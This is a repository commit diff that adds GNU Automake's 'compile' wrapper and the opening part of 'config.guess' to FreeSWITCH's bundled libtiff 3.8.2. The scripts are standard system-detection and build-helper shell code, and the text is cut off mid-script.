+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2, or (at your option)
+# any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
+
+# As a special exception to the GNU General Public License, if you
+# distribute this file as part of a program that contains a
+# configuration script generated by Autoconf, you may include it under
+# the same distribution terms that you use for the rest of that program.
+
+# This file is maintained in Automake, please report
+# bugs to <bug-automake@gnu.org> or send patches to
+# <automake-patches@gnu.org>.
+
+case $1 in
+  '')
+     echo "$0: No command.  Try \`$0 --help' for more information." 1>&2
+     exit 1;
+     ;;
+  -h | --h*)
+    cat <<\EOF
+Usage: compile [--help] [--version] PROGRAM [ARGS]
+
+Wrapper for compilers which do not understand `-c -o'.
+Remove `-o dest.o' from ARGS, run PROGRAM with the remaining
+arguments, and rename the output as expected.
+
+If you are trying to build a whole package this is not the
+right script to run: please start by reading the file `INSTALL'.
+
+Report bugs to <bug-automake@gnu.org>.
+EOF
+    exit $?
+    ;;
+  -v | --v*)
+    echo "compile $scriptversion"
+    exit $?
+    ;;
+esac
+
+ofile=
+cfile=
+eat=
+
+for arg
+do
+  if test -n "$eat"; then
+    eat=
+  else
+    case $1 in
+      -o)
+	# configure might choose to run compile as `compile cc -o foo foo.c'.
+	# So we strip `-o arg' only if arg is an object.
+	eat=1
+	case $2 in
+	  *.o | *.obj)
+	    ofile=$2
+	    ;;
+	  *)
+	    set x "$@" -o "$2"
+	    shift
+	    ;;
+	esac
+	;;
+      *.c)
+	cfile=$1
+	set x "$@" "$1"
+	shift
+	;;
+      *)
+	set x "$@" "$1"
+	shift
+	;;
+    esac
+  fi
+  shift
+done
+
+if test -z "$ofile" || test -z "$cfile"; then
+  # If no `-o' option was seen then we might have been invoked from a
+  # pattern rule where we don't need one.  That is ok -- this is a
+  # normal compilation that the losing compiler can handle.  If no
+  # `.c' file was seen then we are probably linking.  That is also
+  # ok.
+  exec "$@"
+fi
+
+# Name of file we expect compiler to create.
+cofile=`echo "$cfile" | sed -e 's|^.*/||' -e 's/\.c$/.o/'`
+
+# Create the lock directory.
+# Note: use `[/.-]' here to ensure that we don't use the same name
+# that we are using for the .o file.  Also, base the name on the expected
+# object file name, since that is what matters with a parallel build.
+lockdir=`echo "$cofile" | sed -e 's|[/.-]|_|g'`.d
+while true; do
+  if mkdir "$lockdir" >/dev/null 2>&1; then
+    break
+  fi
+  sleep 1
+done
+# FIXME: race condition here if user kills between mkdir and trap.
+trap "rmdir '$lockdir'; exit 1" 1 2 15
+
+# Run the compile.
+"$@"
+ret=$?
+
+if test -f "$cofile"; then
+  mv "$cofile" "$ofile"
+elif test -f "${cofile}bj"; then
+  mv "${cofile}bj" "$ofile"
+fi
+
+rmdir "$lockdir"
+exit $ret
+
+# Local Variables:
+# mode: shell-script
+# sh-indentation: 2
+# eval: (add-hook 'write-file-hooks 'time-stamp)
+# time-stamp-start: "scriptversion="
+# time-stamp-format: "%:y-%02m-%02d.%02H"
+# time-stamp-end: "$"
+# End:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/config/config.guess

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/config/config.guess (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/config/config.guess) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/config/config.guess	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/config/config.guess	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1497 @@
+#! /bin/sh
+# Attempt to guess a canonical system name.
+#   Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999,
+#   2000, 2001, 2002, 2003, 2004, 2005 Free Software Foundation, Inc.
+
+timestamp='2006-02-23'
+
+# This file is free software; you can redistribute it and/or modify it
+# under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston, MA
+# 02110-1301, USA.
+#
+# As a special exception to the GNU General Public License, if you
+# distribute this file as part of a program that contains a
+# configuration script generated by Autoconf, you may include it under
+# the same distribution terms that you use for the rest of that program.
+
+
+# Originally written by Per Bothner <per@bothner.com>.
+# Please send patches to <config-patches@gnu.org>.  Submit a context
+# diff and a properly formatted ChangeLog entry.
+#
+# This script attempts to guess a canonical system name similar to
+# config.sub.  If it succeeds, it prints the system name on stdout, and
+# exits with 0.  Otherwise, it exits with 1.
+#
+# The plan is that this can be called by configure scripts if you
+# don't specify an explicit build system type.
+
+me=`echo "$0" | sed -e 's,.*/,,'`
+
+usage="\
+Usage: $0 [OPTION]
+
+Output the configuration name of the system \`$me' is run on.
+
+Operation modes:
+  -h, --help         print this help, then exit
+  -t, --time-stamp   print date of last modification, then exit
+  -v, --version      print version number, then exit
+
+Report bugs and patches to <config-patches@gnu.org>."
+
+version="\
+GNU config.guess ($timestamp)
+
+Originally written by Per Bothner.
+Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005
+Free Software Foundation, Inc.
+
+This is free software; see the source for copying conditions.  There is NO
+warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE."
+
+help="
+Try \`$me --help' for more information."
+
+# Parse command line
+while test $# -gt 0 ; do
+  case $1 in
+    --time-stamp | --time* | -t )
+       echo "$timestamp" ; exit ;;
+    --version | -v )
+       echo "$version" ; exit ;;
+    --help | --h* | -h )
+       echo "$usage"; exit ;;
+    -- )     # Stop option processing
+       shift; break ;;
+    - )	# Use stdin as input.
+       break ;;
+    -* )
+       echo "$me: invalid option $1$help" >&2
+       exit 1 ;;
+    * )
+       break ;;
+  esac
+done
+
+if test $# != 0; then
+  echo "$me: too many arguments$help" >&2
+  exit 1
+fi
+
+trap 'exit 1' 1 2 15
+
+# CC_FOR_BUILD -- compiler used by this script. Note that the use of a
+# compiler to aid in system detection is discouraged as it requires
+# temporary files to be created and, as you can see below, it is a
+# headache to deal with in a portable fashion.
+
+# Historically, `CC_FOR_BUILD' used to be named `HOST_CC'. We still
+# use `HOST_CC' if defined, but it is deprecated.
+
+# Portable tmp directory creation inspired by the Autoconf team.
+
+set_cc_for_build='
+trap "exitcode=\$?; (rm -f \$tmpfiles 2>/dev/null; rmdir \$tmp 2>/dev/null) && exit \$exitcode" 0 ;
+trap "rm -f \$tmpfiles 2>/dev/null; rmdir \$tmp 2>/dev/null; exit 1" 1 2 13 15 ;
+: ${TMPDIR=/tmp} ;
+ { tmp=`(umask 077 && mktemp -d "$TMPDIR/cgXXXXXX") 2>/dev/null` && test -n "$tmp" && test -d "$tmp" ; } ||
+ { test -n "$RANDOM" && tmp=$TMPDIR/cg$$-$RANDOM && (umask 077 && mkdir $tmp) ; } ||
+ { tmp=$TMPDIR/cg-$$ && (umask 077 && mkdir $tmp) && echo "Warning: creating insecure temp directory" >&2 ; } ||
+ { echo "$me: cannot create a temporary directory in $TMPDIR" >&2 ; exit 1 ; } ;
+dummy=$tmp/dummy ;
+tmpfiles="$dummy.c $dummy.o $dummy.rel $dummy" ;
+case $CC_FOR_BUILD,$HOST_CC,$CC in
+ ,,)    echo "int x;" > $dummy.c ;
+	for c in cc gcc c89 c99 ; do
+	  if ($c -c -o $dummy.o $dummy.c) >/dev/null 2>&1 ; then
+	     CC_FOR_BUILD="$c"; break ;
+	  fi ;
+	done ;
+	if test x"$CC_FOR_BUILD" = x ; then
+	  CC_FOR_BUILD=no_compiler_found ;
+	fi
+	;;
+ ,,*)   CC_FOR_BUILD=$CC ;;
+ ,*,*)  CC_FOR_BUILD=$HOST_CC ;;
+esac ; set_cc_for_build= ;'
+
+# This is needed to find uname on a Pyramid OSx when run in the BSD universe.
+# (ghazi@noc.rutgers.edu 1994-08-24)
+if (test -f /.attbin/uname) >/dev/null 2>&1 ; then
+	PATH=$PATH:/.attbin ; export PATH
+fi
+
+UNAME_MACHINE=`(uname -m) 2>/dev/null` || UNAME_MACHINE=unknown
+UNAME_RELEASE=`(uname -r) 2>/dev/null` || UNAME_RELEASE=unknown
+UNAME_SYSTEM=`(uname -s) 2>/dev/null`  || UNAME_SYSTEM=unknown
+UNAME_VERSION=`(uname -v) 2>/dev/null` || UNAME_VERSION=unknown
+
+# Note: order is significant - the case branches are not exclusive.
+
+case "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" in
+    *:NetBSD:*:*)
+	# NetBSD (nbsd) targets should (where applicable) match one or
+	# more of the tupples: *-*-netbsdelf*, *-*-netbsdaout*,
+	# *-*-netbsdecoff* and *-*-netbsd*.  For targets that recently
+	# switched to ELF, *-*-netbsd* would select the old
+	# object file format.  This provides both forward
+	# compatibility and a consistent mechanism for selecting the
+	# object file format.
+	#
+	# Note: NetBSD doesn't particularly care about the vendor
+	# portion of the name.  We always set it to "unknown".
+	sysctl="sysctl -n hw.machine_arch"
+	UNAME_MACHINE_ARCH=`(/sbin/$sysctl 2>/dev/null || \
+	    /usr/sbin/$sysctl 2>/dev/null || echo unknown)`
+	case "${UNAME_MACHINE_ARCH}" in
+	    armeb) machine=armeb-unknown ;;
+	    arm*) machine=arm-unknown ;;
+	    sh3el) machine=shl-unknown ;;
+	    sh3eb) machine=sh-unknown ;;
+	    *) machine=${UNAME_MACHINE_ARCH}-unknown ;;
+	esac
+	# The Operating System including object format, if it has switched
+	# to ELF recently, or will in the future.
+	case "${UNAME_MACHINE_ARCH}" in
+	    arm*|i386|m68k|ns32k|sh3*|sparc|vax)
+		eval $set_cc_for_build
+		if echo __ELF__ | $CC_FOR_BUILD -E - 2>/dev/null \
+			| grep __ELF__ >/dev/null
+		then
+		    # Once all utilities can be ECOFF (netbsdecoff) or a.out (netbsdaout).
+		    # Return netbsd for either.  FIX?
+		    os=netbsd
+		else
+		    os=netbsdelf
+		fi
+		;;
+	    *)
+	        os=netbsd
+		;;
+	esac
+	# The OS release
+	# Debian GNU/NetBSD machines have a different userland, and
+	# thus, need a distinct triplet. However, they do not need
+	# kernel version information, so it can be replaced with a
+	# suitable tag, in the style of linux-gnu.
+	case "${UNAME_VERSION}" in
+	    Debian*)
+		release='-gnu'
+		;;
+	    *)
+		release=`echo ${UNAME_RELEASE}|sed -e 's/[-_].*/\./'`
+		;;
+	esac
+	# Since CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM:
+	# contains redundant information, the shorter form:
+	# CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM is used.
+	echo "${machine}-${os}${release}"
+	exit ;;
+    *:OpenBSD:*:*)
+	UNAME_MACHINE_ARCH=`arch | sed 's/OpenBSD.//'`
+	echo ${UNAME_MACHINE_ARCH}-unknown-openbsd${UNAME_RELEASE}
+	exit ;;
+    *:ekkoBSD:*:*)
+	echo ${UNAME_MACHINE}-unknown-ekkobsd${UNAME_RELEASE}
+	exit ;;
+    *:SolidBSD:*:*)
+	echo ${UNAME_MACHINE}-unknown-solidbsd${UNAME_RELEASE}
+	exit ;;
+    macppc:MirBSD:*:*)
+	echo powerppc-unknown-mirbsd${UNAME_RELEASE}
+	exit ;;
+    *:MirBSD:*:*)
+	echo ${UNAME_MACHINE}-unknown-mirbsd${UNAME_RELEASE}
+	exit ;;
+    alpha:OSF1:*:*)
+	case $UNAME_RELEASE in
+	*4.0)
+		UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $3}'`
+		;;
+	*5.*)
+	        UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $4}'`
+		;;
+	esac
+	# According to Compaq, /usr/sbin/psrinfo has been available on
+	# OSF/1 and Tru64 systems produced since 1995.  I hope that
+	# covers most systems running today.  This code pipes the CPU
+	# types through head -n 1, so we only detect the type of CPU 0.
+	ALPHA_CPU_TYPE=`/usr/sbin/psrinfo -v | sed -n -e 's/^  The alpha \(.*\) processor.*$/\1/p' | head -n 1`
+	case "$ALPHA_CPU_TYPE" in
+	    "EV4 (21064)")
+		UNAME_MACHINE="alpha" ;;
+	    "EV4.5 (21064)")
+		UNAME_MACHINE="alpha" ;;
+	    "LCA4 (21066/21068)")
+		UNAME_MACHINE="alpha" ;;
+	    "EV5 (21164)")
+		UNAME_MACHINE="alphaev5" ;;
+	    "EV5.6 (21164A)")
+		UNAME_MACHINE="alphaev56" ;;
+	    "EV5.6 (21164PC)")
+		UNAME_MACHINE="alphapca56" ;;
+	    "EV5.7 (21164PC)")
+		UNAME_MACHINE="alphapca57" ;;
+	    "EV6 (21264)")
+		UNAME_MACHINE="alphaev6" ;;
+	    "EV6.7 (21264A)")
+		UNAME_MACHINE="alphaev67" ;;
+	    "EV6.8CB (21264C)")
+		UNAME_MACHINE="alphaev68" ;;
+	    "EV6.8AL (21264B)")
+		UNAME_MACHINE="alphaev68" ;;
+	    "EV6.8CX (21264D)")
+		UNAME_MACHINE="alphaev68" ;;
+	    "EV6.9A (21264/EV69A)")
+		UNAME_MACHINE="alphaev69" ;;
+	    "EV7 (21364)")
+		UNAME_MACHINE="alphaev7" ;;
+	    "EV7.9 (21364A)")
+		UNAME_MACHINE="alphaev79" ;;
+	esac
+	# A Pn.n version is a patched version.
+	# A Vn.n version is a released version.
+	# A Tn.n version is a released field test version.
+	# A Xn.n version is an unreleased experimental baselevel.
+	# 1.2 uses "1.2" for uname -r.
+	echo ${UNAME_MACHINE}-dec-osf`echo ${UNAME_RELEASE} | sed -e 's/^[PVTX]//' | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'`
+	exit ;;
+    Alpha\ *:Windows_NT*:*)
+	# How do we know it's Interix rather than the generic POSIX subsystem?
+	# Should we change UNAME_MACHINE based on the output of uname instead
+	# of the specific Alpha model?
+	echo alpha-pc-interix
+	exit ;;
+    21064:Windows_NT:50:3)
+	echo alpha-dec-winnt3.5
+	exit ;;
+    Amiga*:UNIX_System_V:4.0:*)
+	echo m68k-unknown-sysv4
+	exit ;;
+    *:[Aa]miga[Oo][Ss]:*:*)
+	echo ${UNAME_MACHINE}-unknown-amigaos
+	exit ;;
+    *:[Mm]orph[Oo][Ss]:*:*)
+	echo ${UNAME_MACHINE}-unknown-morphos
+	exit ;;
+    *:OS/390:*:*)
+	echo i370-ibm-openedition
+	exit ;;
+    *:z/VM:*:*)
+	echo s390-ibm-zvmoe
+	exit ;;
+    *:OS400:*:*)
+        echo powerpc-ibm-os400
+	exit ;;
+    arm:RISC*:1.[012]*:*|arm:riscix:1.[012]*:*)
+	echo arm-acorn-riscix${UNAME_RELEASE}
+	exit ;;
+    arm:riscos:*:*|arm:RISCOS:*:*)
+	echo arm-unknown-riscos
+	exit ;;
+    SR2?01:HI-UX/MPP:*:* | SR8000:HI-UX/MPP:*:*)
+	echo hppa1.1-hitachi-hiuxmpp
+	exit ;;
+    Pyramid*:OSx*:*:* | MIS*:OSx*:*:* | MIS*:SMP_DC-OSx*:*:*)
+	# akee@wpdis03.wpafb.af.mil (Earle F. Ake) contributed MIS and NILE.
+	if test "`(/bin/universe) 2>/dev/null`" = att ; then
+		echo pyramid-pyramid-sysv3
+	else
+		echo pyramid-pyramid-bsd
+	fi
+	exit ;;
+    NILE*:*:*:dcosx)
+	echo pyramid-pyramid-svr4
+	exit ;;
+    DRS?6000:unix:4.0:6*)
+	echo sparc-icl-nx6
+	exit ;;
+    DRS?6000:UNIX_SV:4.2*:7* | DRS?6000:isis:4.2*:7*)
+	case `/usr/bin/uname -p` in
+	    sparc) echo sparc-icl-nx7; exit ;;
+	esac ;;
+    sun4H:SunOS:5.*:*)
+	echo sparc-hal-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
+	exit ;;
+    sun4*:SunOS:5.*:* | tadpole*:SunOS:5.*:*)
+	echo sparc-sun-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
+	exit ;;
+    i86pc:SunOS:5.*:*)
+	echo i386-pc-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
+	exit ;;
+    sun4*:SunOS:6*:*)
+	# According to config.sub, this is the proper way to canonicalize
+	# SunOS6.  Hard to guess exactly what SunOS6 will be like, but
+	# it's likely to be more like Solaris than SunOS4.
+	echo sparc-sun-solaris3`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
+	exit ;;
+    sun4*:SunOS:*:*)
+	case "`/usr/bin/arch -k`" in
+	    Series*|S4*)
+		UNAME_RELEASE=`uname -v`
+		;;
+	esac
+	# Japanese Language versions have a version number like `4.1.3-JL'.
+	echo sparc-sun-sunos`echo ${UNAME_RELEASE}|sed -e 's/-/_/'`
+	exit ;;
+    sun3*:SunOS:*:*)
+	echo m68k-sun-sunos${UNAME_RELEASE}
+	exit ;;
+    sun*:*:4.2BSD:*)
+	UNAME_RELEASE=`(sed 1q /etc/motd | awk '{print substr($5,1,3)}') 2>/dev/null`
+	test "x${UNAME_RELEASE}" = "x" && UNAME_RELEASE=3
+	case "`/bin/arch`" in
+	    sun3)
+		echo m68k-sun-sunos${UNAME_RELEASE}
+		;;
+	    sun4)
+		echo sparc-sun-sunos${UNAME_RELEASE}
+		;;
+	esac
+	exit ;;
+    aushp:SunOS:*:*)
+	echo sparc-auspex-sunos${UNAME_RELEASE}
+	exit ;;
+    # The situation for MiNT is a little confusing.  The machine name
+    # can be virtually everything (everything which is not
+    # "atarist" or "atariste" at least should have a processor
+    # > m68000).  The system name ranges from "MiNT" over "FreeMiNT"
+    # to the lowercase version "mint" (or "freemint").  Finally
+    # the system name "TOS" denotes a system which is actually not
+    # MiNT.  But MiNT is downward compatible to TOS, so this should
+    # be no problem.
+    atarist[e]:*MiNT:*:* | atarist[e]:*mint:*:* | atarist[e]:*TOS:*:*)
+        echo m68k-atari-mint${UNAME_RELEASE}
+	exit ;;
+    atari*:*MiNT:*:* | atari*:*mint:*:* | atarist[e]:*TOS:*:*)
+	echo m68k-atari-mint${UNAME_RELEASE}
+        exit ;;
+    *falcon*:*MiNT:*:* | *falcon*:*mint:*:* | *falcon*:*TOS:*:*)
+        echo m68k-atari-mint${UNAME_RELEASE}
+	exit ;;
+    milan*:*MiNT:*:* | milan*:*mint:*:* | *milan*:*TOS:*:*)
+        echo m68k-milan-mint${UNAME_RELEASE}
+        exit ;;
+    hades*:*MiNT:*:* | hades*:*mint:*:* | *hades*:*TOS:*:*)
+        echo m68k-hades-mint${UNAME_RELEASE}
+        exit ;;
+    *:*MiNT:*:* | *:*mint:*:* | *:*TOS:*:*)
+        echo m68k-unknown-mint${UNAME_RELEASE}
+        exit ;;
+    m68k:machten:*:*)
+	echo m68k-apple-machten${UNAME_RELEASE}
+	exit ;;
+    powerpc:machten:*:*)
+	echo powerpc-apple-machten${UNAME_RELEASE}
+	exit ;;
+    RISC*:Mach:*:*)
+	echo mips-dec-mach_bsd4.3
+	exit ;;
+    RISC*:ULTRIX:*:*)
+	echo mips-dec-ultrix${UNAME_RELEASE}
+	exit ;;
+    VAX*:ULTRIX*:*:*)
+	echo vax-dec-ultrix${UNAME_RELEASE}
+	exit ;;
+    2020:CLIX:*:* | 2430:CLIX:*:*)
+	echo clipper-intergraph-clix${UNAME_RELEASE}
+	exit ;;
+    mips:*:*:UMIPS | mips:*:*:RISCos)
+	eval $set_cc_for_build
+	sed 's/^	//' << EOF >$dummy.c
+#ifdef __cplusplus
+#include <stdio.h>  /* for printf() prototype */
+	int main (int argc, char *argv[]) {
+#else
+	int main (argc, argv) int argc; char *argv[]; {
+#endif
+	#if defined (host_mips) && defined (MIPSEB)
+	#if defined (SYSTYPE_SYSV)
+	  printf ("mips-mips-riscos%ssysv\n", argv[1]); exit (0);
+	#endif
+	#if defined (SYSTYPE_SVR4)
+	  printf ("mips-mips-riscos%ssvr4\n", argv[1]); exit (0);
+	#endif
+	#if defined (SYSTYPE_BSD43) || defined(SYSTYPE_BSD)
+	  printf ("mips-mips-riscos%sbsd\n", argv[1]); exit (0);
+	#endif
+	#endif
+	  exit (-1);
+	}
+EOF
+	$CC_FOR_BUILD -o $dummy $dummy.c &&
+	  dummyarg=`echo "${UNAME_RELEASE}" | sed -n 's/\([0-9]*\).*/\1/p'` &&
+	  SYSTEM_NAME=`$dummy $dummyarg` &&
+	    { echo "$SYSTEM_NAME"; exit; }
+	echo mips-mips-riscos${UNAME_RELEASE}
+	exit ;;
+    Motorola:PowerMAX_OS:*:*)
+	echo powerpc-motorola-powermax
+	exit ;;
+    Motorola:*:4.3:PL8-*)
+	echo powerpc-harris-powermax
+	exit ;;
+    Night_Hawk:*:*:PowerMAX_OS | Synergy:PowerMAX_OS:*:*)
+	echo powerpc-harris-powermax
+	exit ;;
+    Night_Hawk:Power_UNIX:*:*)
+	echo powerpc-harris-powerunix
+	exit ;;
+    m88k:CX/UX:7*:*)
+	echo m88k-harris-cxux7
+	exit ;;
+    m88k:*:4*:R4*)
+	echo m88k-motorola-sysv4
+	exit ;;
+    m88k:*:3*:R3*)
+	echo m88k-motorola-sysv3
+	exit ;;
+    AViiON:dgux:*:*)
+        # DG/UX returns AViiON for all architectures
+        UNAME_PROCESSOR=`/usr/bin/uname -p`
+	if [ $UNAME_PROCESSOR = mc88100 ] || [ $UNAME_PROCESSOR = mc88110 ]
+	then
+	    if [ ${TARGET_BINARY_INTERFACE}x = m88kdguxelfx ] || \
+	       [ ${TARGET_BINARY_INTERFACE}x = x ]
+	    then
+		echo m88k-dg-dgux${UNAME_RELEASE}
+	    else
+		echo m88k-dg-dguxbcs${UNAME_RELEASE}
+	    fi
+	else
+	    echo i586-dg-dgux${UNAME_RELEASE}
+	fi
+ 	exit ;;
+    M88*:DolphinOS:*:*)	# DolphinOS (SVR3)
+	echo m88k-dolphin-sysv3
+	exit ;;
+    M88*:*:R3*:*)
+	# Delta 88k system running SVR3
+	echo m88k-motorola-sysv3
+	exit ;;
+    XD88*:*:*:*) # Tektronix XD88 system running UTekV (SVR3)
+	echo m88k-tektronix-sysv3
+	exit ;;
+    Tek43[0-9][0-9]:UTek:*:*) # Tektronix 4300 system running UTek (BSD)
+	echo m68k-tektronix-bsd
+	exit ;;
+    *:IRIX*:*:*)
+	echo mips-sgi-irix`echo ${UNAME_RELEASE}|sed -e 's/-/_/g'`
+	exit ;;
+    ????????:AIX?:[12].1:2)   # AIX 2.2.1 or AIX 2.1.1 is RT/PC AIX.
+	echo romp-ibm-aix     # uname -m gives an 8 hex-code CPU id
+	exit ;;               # Note that: echo "'`uname -s`'" gives 'AIX '
+    i*86:AIX:*:*)
+	echo i386-ibm-aix
+	exit ;;
+    ia64:AIX:*:*)
+	if [ -x /usr/bin/oslevel ] ; then
+		IBM_REV=`/usr/bin/oslevel`
+	else
+		IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE}
+	fi
+	echo ${UNAME_MACHINE}-ibm-aix${IBM_REV}
+	exit ;;
+    *:AIX:2:3)
+	if grep bos325 /usr/include/stdio.h >/dev/null 2>&1; then
+		eval $set_cc_for_build
+		sed 's/^		//' << EOF >$dummy.c
+		#include <sys/systemcfg.h>
+
+		main()
+			{
+			if (!__power_pc())
+				exit(1);
+			puts("powerpc-ibm-aix3.2.5");
+			exit(0);
+			}
+EOF
+		if $CC_FOR_BUILD -o $dummy $dummy.c && SYSTEM_NAME=`$dummy`
+		then
+			echo "$SYSTEM_NAME"
+		else
+			echo rs6000-ibm-aix3.2.5
+		fi
+	elif grep bos324 /usr/include/stdio.h >/dev/null 2>&1; then
+		echo rs6000-ibm-aix3.2.4
+	else
+		echo rs6000-ibm-aix3.2
+	fi
+	exit ;;
+    *:AIX:*:[45])
+	IBM_CPU_ID=`/usr/sbin/lsdev -C -c processor -S available | sed 1q | awk '{ print $1 }'`
+	if /usr/sbin/lsattr -El ${IBM_CPU_ID} | grep ' POWER' >/dev/null 2>&1; then
+		IBM_ARCH=rs6000
+	else
+		IBM_ARCH=powerpc
+	fi
+	if [ -x /usr/bin/oslevel ] ; then
+		IBM_REV=`/usr/bin/oslevel`
+	else
+		IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE}
+	fi
+	echo ${IBM_ARCH}-ibm-aix${IBM_REV}
+	exit ;;
+    *:AIX:*:*)
+	echo rs6000-ibm-aix
+	exit ;;
+    ibmrt:4.4BSD:*|romp-ibm:BSD:*)
+	echo romp-ibm-bsd4.4
+	exit ;;
+    ibmrt:*BSD:*|romp-ibm:BSD:*)            # covers RT/PC BSD and
+	echo romp-ibm-bsd${UNAME_RELEASE}   # 4.3 with uname added to
+	exit ;;                             # report: romp-ibm BSD 4.3
+    *:BOSX:*:*)
+	echo rs6000-bull-bosx
+	exit ;;
+    DPX/2?00:B.O.S.:*:*)
+	echo m68k-bull-sysv3
+	exit ;;
+    9000/[34]??:4.3bsd:1.*:*)
+	echo m68k-hp-bsd
+	exit ;;
+    hp300:4.4BSD:*:* | 9000/[34]??:4.3bsd:2.*:*)
+	echo m68k-hp-bsd4.4
+	exit ;;
+    9000/[34678]??:HP-UX:*:*)
+	HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'`
+	case "${UNAME_MACHINE}" in
+	    9000/31? )            HP_ARCH=m68000 ;;
+	    9000/[34]?? )         HP_ARCH=m68k ;;
+	    9000/[678][0-9][0-9])
+		if [ -x /usr/bin/getconf ]; then
+		    sc_cpu_version=`/usr/bin/getconf SC_CPU_VERSION 2>/dev/null`
+                    sc_kernel_bits=`/usr/bin/getconf SC_KERNEL_BITS 2>/dev/null`
+                    case "${sc_cpu_version}" in
+                      523) HP_ARCH="hppa1.0" ;; # CPU_PA_RISC1_0
+                      528) HP_ARCH="hppa1.1" ;; # CPU_PA_RISC1_1
+                      532)                      # CPU_PA_RISC2_0
+                        case "${sc_kernel_bits}" in
+                          32) HP_ARCH="hppa2.0n" ;;
+                          64) HP_ARCH="hppa2.0w" ;;
+			  '') HP_ARCH="hppa2.0" ;;   # HP-UX 10.20
+                        esac ;;
+                    esac
+		fi
+		if [ "${HP_ARCH}" = "" ]; then
+		    eval $set_cc_for_build
+		    sed 's/^              //' << EOF >$dummy.c
+
+              #define _HPUX_SOURCE
+              #include <stdlib.h>
+              #include <unistd.h>
+
+              int main ()
+              {
+              #if defined(_SC_KERNEL_BITS)
+                  long bits = sysconf(_SC_KERNEL_BITS);
+              #endif
+                  long cpu  = sysconf (_SC_CPU_VERSION);
+
+                  switch (cpu)
+              	{
+              	case CPU_PA_RISC1_0: puts ("hppa1.0"); break;
+              	case CPU_PA_RISC1_1: puts ("hppa1.1"); break;
+              	case CPU_PA_RISC2_0:
+              #if defined(_SC_KERNEL_BITS)
+              	    switch (bits)
+              		{
+              		case 64: puts ("hppa2.0w"); break;
+              		case 32: puts ("hppa2.0n"); break;
+              		default: puts ("hppa2.0"); break;
+              		} break;
+              #else  /* !defined(_SC_KERNEL_BITS) */
+              	    puts ("hppa2.0"); break;
+              #endif
+              	default: puts ("hppa1.0"); break;
+              	}
+                  exit (0);
+              }
+EOF
+		    (CCOPTS= $CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null) && HP_ARCH=`$dummy`
+		    test -z "$HP_ARCH" && HP_ARCH=hppa
+		fi ;;
+	esac
+	if [ ${HP_ARCH} = "hppa2.0w" ]
+	then
+	    eval $set_cc_for_build
+
+	    # hppa2.0w-hp-hpux* has a 64-bit kernel and a compiler generating
+	    # 32-bit code.  hppa64-hp-hpux* has the same kernel and a compiler
+	    # generating 64-bit code.  GNU and HP use different nomenclature:
+	    #
+	    # $ CC_FOR_BUILD=cc ./config.guess
+	    # => hppa2.0w-hp-hpux11.23
+	    # $ CC_FOR_BUILD="cc +DA2.0w" ./config.guess
+	    # => hppa64-hp-hpux11.23
+
+	    if echo __LP64__ | (CCOPTS= $CC_FOR_BUILD -E - 2>/dev/null) |
+		grep __LP64__ >/dev/null
+	    then
+		HP_ARCH="hppa2.0w"
+	    else
+		HP_ARCH="hppa64"
+	    fi
+	fi
+	echo ${HP_ARCH}-hp-hpux${HPUX_REV}
+	exit ;;
+    ia64:HP-UX:*:*)
+	HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'`
+	echo ia64-hp-hpux${HPUX_REV}
+	exit ;;
+    3050*:HI-UX:*:*)
+	eval $set_cc_for_build
+	sed 's/^	//' << EOF >$dummy.c
+	#include <unistd.h>
+	int
+	main ()
+	{
+	  long cpu = sysconf (_SC_CPU_VERSION);
+	  /* The order matters, because CPU_IS_HP_MC68K erroneously returns
+	     true for CPU_PA_RISC1_0.  CPU_IS_PA_RISC returns correct
+	     results, however.  */
+	  if (CPU_IS_PA_RISC (cpu))
+	    {
+	      switch (cpu)
+		{
+		  case CPU_PA_RISC1_0: puts ("hppa1.0-hitachi-hiuxwe2"); break;
+		  case CPU_PA_RISC1_1: puts ("hppa1.1-hitachi-hiuxwe2"); break;
+		  case CPU_PA_RISC2_0: puts ("hppa2.0-hitachi-hiuxwe2"); break;
+		  default: puts ("hppa-hitachi-hiuxwe2"); break;
+		}
+	    }
+	  else if (CPU_IS_HP_MC68K (cpu))
+	    puts ("m68k-hitachi-hiuxwe2");
+	  else puts ("unknown-hitachi-hiuxwe2");
